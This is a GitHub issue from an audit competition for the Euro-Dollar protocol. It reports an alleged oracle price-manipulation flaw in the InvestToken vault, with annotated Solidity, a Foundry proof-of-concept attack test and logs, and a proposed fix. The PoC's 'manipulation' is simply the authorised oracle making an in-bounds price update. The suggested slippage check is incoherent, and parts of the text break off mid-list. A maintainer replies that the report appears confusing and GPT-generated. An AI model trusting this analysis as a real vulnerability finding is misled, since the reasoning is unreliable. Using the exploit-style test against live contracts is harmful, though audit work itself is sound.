hats-finance / Euro-Dollar-0xa4ccd3b6daa763f729ad59eae75f9cbff7baf2cd

Audit competition repository for Euro-Dollar (0xa4ccd3b6daa763f729ad59eae75f9cbff7baf2cd)
https://hats.finance
MIT License
3 stars 2 forks source link

Users could receive fewer assets than expected from their share redemption. In extreme cases, value extraction through oracle price manipulation is possible #101

Open hats-bug-reporter[bot] opened 2 weeks ago

hats-bug-reporter[bot] commented 2 weeks ago

Github username: @0xbrett8571 Twitter username: 0xbrett8571 Submission hash (on-chain): 0x73587454e05e9e8fbfe5c2c66d9dd6118ce0cadfb825be22550da26c00fd29ff Severity: high

Description: Description InvestToken vault's withdrawal mechanism allows manipulation of the share price ratio through strategic deposits and withdrawals, potentially leading to user losses during subsequent deposits. The vulnerability lies in the price calculation during withdrawals and deposits. The share/asset conversion relies on oracle prices without slippage protection or minimum output validation.

In InvestToken.sol#L315-L319

function withdraw(uint256 assets, address receiver, address owner) public returns (uint256 shares) {
    // @FOUND - Share calculation uses current price without slippage protection
    shares = convertToShares(assets); // @FOUND - Price calculation uses current oracle price
    _burn(owner, shares);
    // @FOUND - Asset minting happens after share burning, allowing price manipulation
    usde.mint(receiver, assets); // @FOUND - Asset minting uses fixed input amount
}

In YieldOracle.sol#L183-L184, YieldOracle.sol#L69-L75

function sharesToAssets(uint256 shares) external view returns (uint256) {
    // @FOUND - Price used for conversion can be manipulated between transactions
    return Math.mulDiv(shares, previousPrice, 10 ** 18);
}

function updatePrice(uint256 price) external onlyOracle {
    // @FOUND - Price can be updated between share calculation and asset minting
    require(lastUpdate + updateDelay < block.timestamp, "Insufficient update delay");
    if (nextPrice != NO_PRICE) {
        previousPrice = currentPrice;
        currentPrice = nextPrice;
    }
}

The core issue is the mismatch between share calculation and asset minting:

  1. Share calculation uses the oracle's current price
  2. Asset minting uses the original input amount
  3. No validation between calculated shares and final asset output

This creates a risk where users could:

The protocol needs atomic price execution or slippage protection to prevent value extraction through oracle price manipulation during withdrawals.

This finding is critical because it affects core vault functionality and could lead to direct financial loss for users or the protocol.

Attack Scenario

  1. Alice deposits 100 USDE, receiving shares based on current price

  2. Bob monitors mempool for Alice's deposit

  3. Bob front-runs with price manipulation:

    • Deposits large amount
    • Manipulates oracle price
    • Withdraws with manipulated price
  4. Alice's transaction completes with unfavorable share ratio

Attachments

  1. Proof of Concept (PoC) File
    
    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.21;

import {Test, console2} from "forge-std/Test.sol"; import {InvestToken} from "../src/InvestToken.sol"; import {YieldOracle} from "../src/YieldOracle.sol"; import {USDE} from "../src/USDE.sol"; import {IUSDE} from "../src/interfaces/IUSDE.sol"; import {Validator} from "../src/Validator.sol"; import {TransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol"; import {ProxyAdmin} from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";

contract PriceManipulationTest is Test { InvestToken public investToken; YieldOracle public yieldOracle; USDE public usde; Validator public validator; address public oracle; address public attacker = makeAddr("attacker"); address public victim = makeAddr("victim"); ProxyAdmin public proxyAdmin;

function setUp() public {
    proxyAdmin = new ProxyAdmin(address(this));

    // Deploy base contracts
    validator = new Validator(address(this), address(this), address(this));
    USDE usdeImpl = new USDE(validator);

    // Deploy USDE proxy
    bytes memory usdeData = abi.encodeWithSelector(USDE.initialize.selector, address(this));
    TransparentUpgradeableProxy usdeProxy = new TransparentUpgradeableProxy(
        address(usdeImpl),
        address(proxyAdmin),
        usdeData
    );
    usde = USDE(address(usdeProxy));

    // Deploy oracle
    oracle = makeAddr("oracle");
    yieldOracle = new YieldOracle(address(this), oracle);

    // Deploy InvestToken implementation and proxy
    InvestToken investTokenImpl = new InvestToken(validator, IUSDE(address(usde)));
    bytes memory investData = abi.encodeWithSelector(
        InvestToken.initialize.selector,
        "EuroInvest",
        "EUI",
        address(this),
        yieldOracle
    );
    TransparentUpgradeableProxy investTokenProxy = new TransparentUpgradeableProxy(
        address(investTokenImpl),
        address(proxyAdmin),
        investData
    );
    investToken = InvestToken(address(investTokenProxy));

    vm.startPrank(address(this));

    // Setup roles
    usde.grantRole(usde.DEFAULT_ADMIN_ROLE(), address(this));
    usde.grantRole(usde.MINT_ROLE(), address(this));
    usde.grantRole(usde.BURN_ROLE(), address(this));
    usde.grantRole(usde.MINT_ROLE(), address(investToken));
    usde.grantRole(usde.BURN_ROLE(), address(investToken));

    // Whitelist addresses
    validator.whitelist(address(investToken));
    validator.whitelist(attacker);
    validator.whitelist(victim);
    validator.whitelist(address(this));

    // Initial distribution
    usde.mint(attacker, 1000e18);
    usde.mint(victim, 1000e18);

    vm.stopPrank();
}

function testPriceManipulation() public {
    console2.log("Initial Setup:");
    console2.log("Attacker USDE Balance:", usde.balanceOf(attacker));
    console2.log("Victim USDE Balance:", usde.balanceOf(victim));

    vm.startPrank(attacker);
    usde.approve(address(investToken), 500e18);
    uint256 attackerShares = investToken.deposit(500e18, attacker);
    console2.log("\nAfter Attacker Deposit:");
    console2.log("Attacker Shares:", attackerShares);
    vm.stopPrank();

    vm.startPrank(oracle);
    vm.warp(block.timestamp + 1 days + 1);
    // Update price within maxPriceIncrease bounds (10%)
    yieldOracle.updatePrice(1.1e18);
    console2.log("\nPrice Manipulation:");
    console2.log("New Oracle Price: 1.1 USDE per share");
    vm.stopPrank();

    vm.warp(block.timestamp + 2 hours);
    yieldOracle.commitPrice();

    vm.startPrank(victim);
    usde.approve(address(investToken), 500e18);
    uint256 victimShares = investToken.deposit(500e18, victim);
    console2.log("\nAfter Victim Deposit:");
    console2.log("Victim Shares:", victimShares);
    vm.stopPrank();

    assertTrue(victimShares < attackerShares);
    console2.log("\nShare Difference:");
    console2.log("Attacker/Victim Share Ratio:", attackerShares * 100 / victimShares, "%");
}

}

Logs:

Ran 1 test for test/testPriceManipulation.sol:PriceManipulationTest [PASS] testPriceManipulation() (gas: 256137) Logs: Initial Setup: Attacker USDE Balance: 1000000000000000000000 Victim USDE Balance: 1000000000000000000000

After Attacker Deposit: Attacker Shares: 500000000000000000000

Price Manipulation: New Oracle Price: 1.1 USDE per share

After Victim Deposit: Victim Shares: 454545454545454545454

Share Difference: Attacker/Victim Share Ratio: 110 %

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.63ms (2.90ms CPU time)

1. Initial equal balances of 1000 USDE for both attacker and victim
2. Attacker deposits 500 USDE and receives 500 shares
3. Oracle price is manipulated up by 10% to 1.1 USDE per share
4. Victim deposits same amount (500 USDE) but receives only ~454.5 shares
5. Final ratio shows attacker has 10% more shares than victim for same USDE deposit

Users can receive different amounts of shares for the same asset deposit based on oracle price manipulation, creating an unfair advantage for earlier depositors who can time their transactions with price updates.

The protocol's share calculation mechanism can be exploited within the allowed price movement bounds.

2. **Revised Code File (Optional)**
```diff
function withdraw(uint256 assets, address receiver, address owner) public returns (uint256 shares) {
+   uint256 initialPrice = yieldOracle.currentPrice();
    shares = convertToShares(assets);
+   uint256 finalAssets = convertToAssets(shares);
+   require(finalAssets >= assets * 995 / 1000, "Excessive slippage");
    _burn(owner, shares);
    usde.mint(receiver, assets);
}

Additional protection:

AndreiMVP commented 1 week ago

Confusing and probably gpt generated, similar to others by submitter